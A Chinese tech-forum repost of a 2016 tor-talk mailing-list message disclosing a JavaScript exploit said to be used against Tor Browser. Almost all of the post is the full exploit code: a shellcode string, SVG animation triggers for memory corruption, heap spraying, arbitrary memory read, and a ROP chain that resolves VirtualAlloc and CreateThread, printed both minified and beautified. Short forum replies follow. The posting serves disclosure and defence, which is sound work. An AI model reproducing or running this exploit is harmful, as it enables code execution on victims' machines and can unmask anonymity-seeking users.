网络科技

    今日:1054| 主题:244922
收藏本版
互联网、科技极客的综合动态。

[其他] [Possible] JavaScript exploit found against Tor in the wild

[复制链接]
长高好吗 发表于 4 天前
42 4

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
[tor-talk] Javascript exploit

      firstwatch at sigaint.org    firstwatch at sigaint.org  
  Tue Nov 29 21:55:23 UTC 2016  
       
  • Previous message:      [tor-talk] Another issue "never remember history" at Tor browser setting didn't last for actualisation   
  • Next message:      [tor-talk] Javascript exploit   
  •       Messages sorted by:      [ date ]      [ thread ]      [ subject ]      [ author ]  
  1. This is an Javascript exploit actively used against TorBrowser NOW. It
  2. consists of one HTML and one CSS file, both pasted below and also
  3. de-obscured. The exact functionality is unknown but it's getting access to
  4. "VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I
  5. had to break the "thecode" line in two in order to post, remove ' + ' in
  6. the middle to restore it.
  7. HTML:
  8. <html>
  9.   <head>
  10.     <script>
  11.   var thecode
  12. ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002
  13. \ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
  14. +
  15. '\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
  16. u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
  17.     var worker = new Worker('cssbanner.js');
  18.       worker.postMessage(thecode);
  19.       var svgns = 'http://www.w3.org/2000/svg';
  20.       var heap80 = new Array(0x1000);
  21.       var heap100 = new Array(0x4000);
  22.       var block80 = new ArrayBuffer(0x80);
  23.       var block100 = new ArrayBuffer(0x100);
  24.       var sprayBase = undefined;
  25.       var arrBase = undefined;
  26.       var animateX = undefined;
  27.       var containerA = undefined;
  28.       var offset = 0x90;
  29.       if
  30. (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
  31.       {
  32.         offset = 0x88; // versions 47.0 or greater
  33.       }
  34.       var $ = function(id) { return document.getElementById(id); }
  35.       var exploit = function()
  36.       {
  37.         var u32 = new Uint32Array(block80)
  38.         u32[0x2] = arrBase - offset;
  39.         u32[0x8] = arrBase - offset;
  40.         u32[0xE] = arrBase - offset;
  41.         for(i = heap100.length/2; i < heap100.length; i++)
  42.         {
  43.           heap100[i] = block100.slice(0)
  44.         }
  45.         for(i = 0; i < heap80.length/2; i++)
  46.         {
  47.           heap80[i] = block80.slice(0)
  48.         }
  49.         animateX.setAttribute('begin', '59s')
  50.         animateX.setAttribute('begin', '58s')
  51.         for(i = heap80.length/2; i < heap80.length; i++)
  52.         {
  53.           heap80[i] = block80.slice(0)
  54.         }
  55.         for(i = heap100.length/2; i < heap100.length; i++)
  56.         {
  57.           heap100[i] = block100.slice(0)
  58.         }
  59.         animateX.setAttribute('begin', '10s')
  60.         animateX.setAttribute('begin', '9s')
  61.         window.dump('PAUSING!!! YAYA');
  62.         containerA.pauseAnimations();
  63.     }
  64.           worker.onmessage = function(e)
  65.           {
  66.                   worker.onmessage = function(e)
  67.                   {
  68.         window.setTimeout(function()
  69.           {
  70.             worker.terminate();
  71.             document.body.innerHTML = '';
  72.             document.getElementsByTagName('head')[0].innerHTML = '';
  73.             document.body.setAttribute('onload', '')
  74.           }, 1000);
  75.                   }
  76.                   arrBase = e.data;
  77.                   exploit();
  78.     }
  79.     var idGenerator = function()
  80.     {
  81.       return 'id' +
  82. (((1+Math.random())*0x10000)|0).toString(16).substring(1);
  83.     }
  84.     var craftDOM = function()
  85.     {
  86.       containerA = document.createElementNS(svgns, 'svg')
  87.       var containerB = document.createElementNS(svgns, 'svg');
  88.       animateX = document.createElementNS(svgns, 'animate')
  89.       var animateA = document.createElementNS(svgns, 'animate')
  90.       var animateB = document.createElementNS(svgns, 'animate')
  91.       var animateC = document.createElementNS(svgns, 'animate')
  92.       var idX = idGenerator();
  93.       var idA = idGenerator();
  94.       var idB = idGenerator();
  95.       var idC = idGenerator();
  96.       animateX.setAttribute('id', idX);
  97.       animateA.setAttribute('id', idA);
  98.       animateA.setAttribute('end', '50s');
  99.       animateB.setAttribute('id', idB);
  100.       animateB.setAttribute('begin', '60s');
  101.       animateB.setAttribute('end', idC + '.end');
  102.       animateC.setAttribute('id', idC);
  103.       animateC.setAttribute('begin', '10s');
  104.       animateC.setAttribute('end', idA + '.end');
  105.       containerA.appendChild(animateX)
  106.       containerA.appendChild(animateA)
  107.       containerA.appendChild(animateB)
  108.       containerB.appendChild(animateC)
  109.       document.body.appendChild(containerA);
  110.       document.body.appendChild(containerB);
  111.     }
  112.      window.onload = craftDOM;
  113.    //
  114.     </script>
  115.     <style>
  116.         #mtdiv{
  117.             position: absolute;
  118.             width: 960px;
  119.             height: 166px;
  120.             z-index: 15;
  121.             top: 100px;
  122.             left: 50%;
  123.             margin: 0 0 0 -480px;
  124.         }
  125.     </style>
  126.   </head>
  127.   <body bgcolor='#2F3236'>
  128.       <div id='mtdiv'>
  129.           <img src='mt.png'/>
  130.       </div>
  131.   </body>
  132.   <script>
  133.         setTimeout('window.location = \'member.php\';', 2000);
  134. </script>
  135. </html>
  136. ===================================================================================================
  137. content of "cssbanner.js":
  138. self.onmessage = function(msg) {
  139.   thecode = msg.data;
  140.   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
  141. & 65535) + String.fromCharCode(a) };
  142.   function
  143. Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
  144. 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
  145. this.read(a)&255};this.readWord=function(a){return
  146. this.read(a)&65535};this.readDword=function(a){return this.read(a)};
  147.   this.read=function(a,b){if(a%4){var
  148. c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
  149. c>>>8*e|d<<8*(4-e)}return
  150. this._abs_read(a)};this.readStr=function(a){for(var
  151. b="",c=0;;){if(32==c)return"";var
  152. d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
  153. b};this.write=function(a){}}
  154.   function PE(b,a){this.mem=b;this.export_table=this.module_base=void
  155. 0;this.export_table_size=0;this.import_table=void
  156. 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
  157. this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
  158. NT
  159. Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
  160.   this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
  161. 0==this.import_directory&&this._resolve_pe_structures();for(var
  162. e=this.import_directory,c=e+this.import_directory_size;e<c;){var
  163. d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
  164.   d.toUpperCase()){for(var
  165. c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
  166. this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
  167. 0};void 0!=a&&this.find_module_base(a)}
  168.   function ROP(b,a){this.mem=b;this.pe=new
  169. PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
  170. b=0;;){for(var
  171. e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
  172. break;if(e==a.length)return
  173. this.module_base+b;b++}};this.findStackPivot=function(){return
  174. this.findSequence([148,195])};this.findPopRet=function(a){return
  175. this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
  176. 0!=c?c:new ArrayBuffer(4096);
  177.   c=new Uint32Array(c);var
  178. d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
  179. c}}
  180.   var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
  181. Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
  182. convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
  183. convu32[a]},sprayArrays=function(){for(var
  184. b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
  185.   o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
  186.   8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
  187.   (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
  188.   var spr=Array(400),arrBase=805306416,ropArrBuf=new
  189. ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
  190. Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
  191.   for(memarrayloc=void 0;void
  192. 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
  193. spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
  194.   o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
  195. mem=new Memory(memarrayloc+48,function(b){return
  196. memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
  197. rop=new
  198. ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
  199.   var backupESP=rop.findSequence([137,1,195]),ropChain=new
  200. Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
  201. i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
  202.   ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
  203. j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
  204. SUCCESS");
  205. };
  206. Beautified:
  207. self.onmessage =
  208. function(msg) {
  209.   thecode = msg.data;
  210.   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
  211. & 65535) + String.fromCharCode(a) };
  212.   function Memory(b,a,f)
  213.   {
  214.       this._base_addr=b;
  215.       this._read=a;
  216.       this._write=f;
  217.       this._abs_read = function(a) {
  218.           a >= this._base_addr ? a = this._read( a - this._base_addr) : (
  219. a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
  220.           return 0>a?4294967295+a+1:a
  221.       };
  222.       this._abs_write = function(a,b) {
  223.           a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
  224. = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
  225.       };
  226.       this.readByte = function(a) {
  227.           return this.read(a) & 255
  228.       };
  229.       this.readWord = function(a) {
  230.           return this.read(a) & 65535
  231.       };
  232.       this.readDword = function(a){ return this.read(a) };
  233.       this.read = function(a,b) {
  234.           if (a%4) {
  235.               var c = this._abs_read( a & 4294967292),
  236.                   d = this._abs_read( a+4 & 4294967292),
  237.                   e = a%4;
  238.               return c>>>8*e | d<<8*(4-e)
  239.           }
  240.           return this._abs_read(a)
  241.       };
  242.       this.readStr = function(a) {
  243.           for(var b = "", c = 0;;) {
  244.               if (32 == c)
  245.                   return "";
  246.               var d = this.readByte(a+c);
  247.               if(0 == d)
  248.                   break;
  249.               b += String.fromCharCode(d);
  250.               c++
  251.           }
  252.           return b
  253.       };
  254.       this.write = function(a){}
  255.   }
  256.   function PE(b,a) {
  257.       this.mem = b;
  258.       this.export_table = this.module_base = void 0;
  259.       this.export_table_size = 0;
  260.       this.import_table = void 0;
  261.       this.import_table_size = 0;
  262.       this.find_module_base = function(a) {
  263.           for(a &= 4294901760; a; ) {
  264.               if(23117 == this.mem.readWord(a))
  265.                   return this.module_base=a;
  266.               a -= 65536
  267.           }
  268.       };
  269.       this._resolve_pe_structures = function() {
  270.           peFile = this.module_base + this.mem.readWord(this.module_base+60);
  271.           if(17744 != this.mem.readDword(peFile))
  272.               throw"Bad NT Signature";
  273.           this.pe_file = peFile;
  274.           this.optional_header = this.pe_file+36;
  275.           this.export_directory =
  276. this.module_base+this.mem.readDword(this.pe_file+120);
  277.           this.export_directory_size = this.mem.readDword(this.pe_file+124);
  278.           this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
  279.           this.import_directory_size=this.mem.readDword(this.pe_file+132)};
  280.           this.resolve_imported_function=function(a,b){
  281.               void 0==this.import_directory&&this._resolve_pe_structures();
  282.               for(var
  283. e=this.import_directory,c=e+this.import_directory_size;e<c;){
  284.                   var
  285. d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
  286.                   if(a.toUpperCase()==d.toUpperCase()){
  287.                       for(var c = this.mem.readDword(e) + this.module_base,
  288.                               e = this.mem.readDword(e+16) +
  289. this.module_base,
  290.                               d = this.mem.readDword(c),
  291.                               f = 0 ; 0 !=d ;)
  292.                       {
  293.                           if(this.mem.readStr(d+this.module_base+2).toUpperCase()
  294. == b.toUpperCase())
  295.                               return this.mem.readDword(e+4*f);
  296.                           f++;
  297.                           d = this.mem.readDword(c+4*f)
  298.                       }
  299.                       break
  300.                   }
  301.                   e+=20
  302.               }
  303.               return 0
  304.           };
  305.           void 0!=a && this.find_module_base(a)
  306.       }
  307.       function ROP(b,a){
  308.          this.mem = b;
  309.          this.pe = new PE(b,a);
  310.          this.pe._resolve_pe_structures();
  311.          this.module_base = this.pe.module_base+4096;
  312.          this.findSequence = function(a) {
  313.             for(var b=0;;) {
  314.                 for(var e=0,c=0;c<a.length;c++)
  315.                     if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
  316.                         e++;
  317.                     else
  318.                         break;
  319.                 if(e==a.length)
  320.                     return this.module_base+b;
  321.                 b++
  322.          }
  323.      };
  324.      this.findStackPivot=function() {
  325.          return this.findSequence([148,195])
  326.      };
  327.      this.findPopRet=function(a) {
  328.          return this.findSequence([88,195])
  329.      };
  330.      this.ropChain=function(a,b,e,c) {
  331.          c = void 0 != c ? c : new ArrayBuffer(4096);
  332.          c = new Uint32Array(c);
  333.          var d = this.findStackPivot(),
  334.              f = this.findPopRet("EAX"),
  335.              g =
  336. this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
  337.          c[0]= f+1;
  338.          c[1]= f;
  339.          c[2]= a+b+4*e+4;
  340.          c[3]= d;
  341.          for(i=0;i<e;i++)
  342.              c[(b>>2)+i] = d;
  343.          d =(b+4>>2)+e;
  344.          c[d++]=g;
  345.          c[d++]=a+(b+4*e+28);
  346.          c[d++]=a;
  347.          c[d++]=4096;
  348.          c[d++]=4096;
  349.          c[d++]=64;
  350.          c[d++]=3435973836;
  351.          return c
  352.      }
  353.   }
  354.   var conv=new ArrayBuffer(8),
  355.       convf64=new Float64Array(conv),
  356.       convu32=new Uint32Array(conv),
  357.       qword2Double=function(b,a) {
  358.           convu32[0]=b;
  359.           convu32[1]=a;
  360.           return convf64[0]
  361.       },
  362.       doubleFromFloat = function(b,a) {
  363.           convf64[0]=b;
  364.           return convu32[a]
  365.       },
  366.       sprayArrays=function() {
  367.           for(var b=Array(262138),a=0;262138>a;a++)
  368.               b[a]=fzero;
  369.           for(a=0;a<b.length;a+=512)
  370.               b[a+1] = memory,
  371.               b[a+21] = qword2Double(0,2),
  372.               b[a+14] = qword2Double(arrBase+o1,0),
  373.               b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
  374.               b[a+(o2+0)/8] = qword2Double(2,0),
  375.               b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
  376.               b[a+(o3+0)/8] = qword2Double(16,0),
  377.               b[a+(o3+24)/8] = qword2Double(2,0),
  378.               b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
  379.               b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
  380.               b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
  381.               b[a+(o6+8)/8] = qword2Double(2,0),
  382.               b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
  383.               b[a+(o7+16)/8] = qword2Double(0,4026531840),
  384.               b[a+(o7+32)/8] = qword2Double(0,3220176896),
  385.               b[a+(o7+48)/8] = qword2Double(2,0),
  386.               b[a+(o7+56)/8] = qword2Double(1,0),
  387.               b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
  388.               b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
  389.               b[a+(o7+168)/8] = qword2Double(0,2),
  390.               b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
  391.               b[a+(o10+0)/8] = qword2Double(2,0),
  392.               b[a+(o10+8)/8] = qword2Double(0,268435456),
  393.               b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
  394.               b[a+(o11+16)/8] = qword2Double(0,4026531840),
  395.               b[a+(o11+32)/8] = qword2Double(0,3220176896),
  396.               b[a+(o11+48)/8] = qword2Double(2,0),
  397.               b[a+(o11+56)/8] = qword2Double(1,0),
  398.               b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
  399.               b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
  400.               b[a+(o11+168)/8] = qword2Double(0,2);
  401.           for(a=0;a<spr.length;a++)
  402.               spr[a]=b.slice(0)
  403.       }, vtable_offset=300;
  404.       /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
  405. vtable_offset=304 :
  406.       /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
  407. && (vtable_offset=308);
  408.       var spr=Array(400),
  409.       arrBase=805306416,
  410.       ropArrBuf=new ArrayBuffer(4096),
  411.       o1=176,
  412.       o2=256,
  413.       o3=768,
  414.       o4=832,
  415.       o5=864,
  416.       o6=928,
  417.       o7=1024,
  418.       o8=1280,
  419.       o9=1344,
  420.       o10=1376,
  421.       o11=1536,
  422.       oRop=1792,
  423.       memory=new Uint32Array(16),
  424.       len=memory.length,
  425.       arr_index=0,
  426.       arr_offset=0;
  427.       fzero=qword2Double(0,0);
  428.       0!=thecode.length%2&&(thecode+="\u9090");
  429.       sprayArrays();
  430.       postMessage(arrBase);
  431.       for(memarrayloc=void 0;void 0==memarrayloc;)
  432.           for(i=0;i<spr.length;i++)
  433.               for(offset=0;offset<spr[i].length;offset+=512)
  434.                  if("object" != typeof spr[i][offset+1]) {
  435.                      memarrayloc=doubleFromFloat(spr[i][offset+1],0);
  436.                      arr_index=i;
  437.                      arr_offset=offset;
  438.                      spr[i][offset+(o2+0)/8]=qword2Double(65,0);
  439.                      spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
  440.                      for(j=0;33>j;j++)
  441.                          spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
  442.                      spr[i][offset+(o3+8)/8]=qword2Double(0,0);
  443.                      spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
  444.                      spr[i][offset+(o7+168)/8]=qword2Double(0,3);
  445.                      spr[i][offset+(o7+88)/8]=qword2Double(0,2);
  446.                      break
  447.                  }
  448.       for(;memory.length==len;);
  449.       var mem=new Memory(memarrayloc+48,
  450.                          function(b){return memory[b/4]},
  451.                          function(b,a){memory[b/4]=a}),
  452.           xulPtr=mem.readDword(memarrayloc+12);
  453.       spr[arr_index][arr_offset+1]=ropArrBuf;
  454.       ropPtr=mem.readDword(arrBase+8);
  455.       spr[arr_index][arr_offset+1]=null;
  456.       ropBase=mem.readDword(ropPtr+16);
  457.       var rop=new ROP(mem,xulPtr);
  458.       rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
  459.       var backupESP=rop.findSequence([137,1,195]), ropChain=new
  460. Uint32Array(ropArrBuf);
  461.       ropChain[0]=backupESP;
  462.       CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
  463.       for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
  464.       ropChain[i++]=3296825488;
  465.       ropChain[i++]=2048;
  466.       ropChain[i++]=1347469361;
  467.       ropChain[i++]=1528949584;
  468.       ropChain[i++]=3092271187;
  469.       ropChain[i++]=CreateThread;
  470.       ropChain[i++]=3096498431;
  471.       ropChain[i++]=arrBase+16;
  472.       ropChain[i++]=1955274891;
  473.       ropChain[i++]=280697892;
  474.       ropChain[i++]=704643071;
  475.       ropChain[i++]=2425406428;
  476.       ropChain[i++]=4294957800;
  477.       ropChain[i++]=2425393407;
  478.       for (var j=0;j<thecode.length;j+=2)
  479.           ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
  480.       spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
  481.       spr[arr_index][arr_offset+3]=qword2Double(0,256);
  482.       spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
  483.       spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
  484.       spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
  485.       postMessage("GREAT SUCCESS");
  486. };
复制代码

       
  • Previous message:      [tor-talk] Another issue "never remember history" at Tor browser setting didn't last for actualisation   
  • Next message:      [tor-talk] Javascript exploit   
  •       Messages sorted by:      [ date ]      [ thread ]      [ subject ]      [ author ]  
  More information about the tor-talk mailing list
友荐云推荐




上一篇:Realm为Node.js发布对象数据库
下一篇:AT&T just declared war on an open internet (and us)
酷辣虫提示酷辣虫禁止发表任何与中华人民共和国法律有抵触的内容!所有内容由用户发布,并不代表酷辣虫的观点,酷辣虫无法对用户发布内容真实性提供任何的保证,请自行验证并承担风险与后果。如您有版权、违规等问题,请通过"联系我们"或"违规举报"告知我们处理。

b528kimo 发表于 22 小时前
广告位,,坐下看看
回复 支持 反对

使用道具 举报

licq_27 发表于 3 小时前
鼎力支持!!
回复 支持 反对

使用道具 举报

吓煞 发表于 1 小时前
我最恨别人用鼠标指着我的头.
回复 支持 反对

使用道具 举报

wangvan 发表于 12 分钟前
生前何必久睡,死后自会长眠……
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读

扫码访问 @iTTTTT瑞翔 的微博
回页顶回复上一篇下一篇回列表手机版
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )|网站地图 酷辣虫

© 2001-2016 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表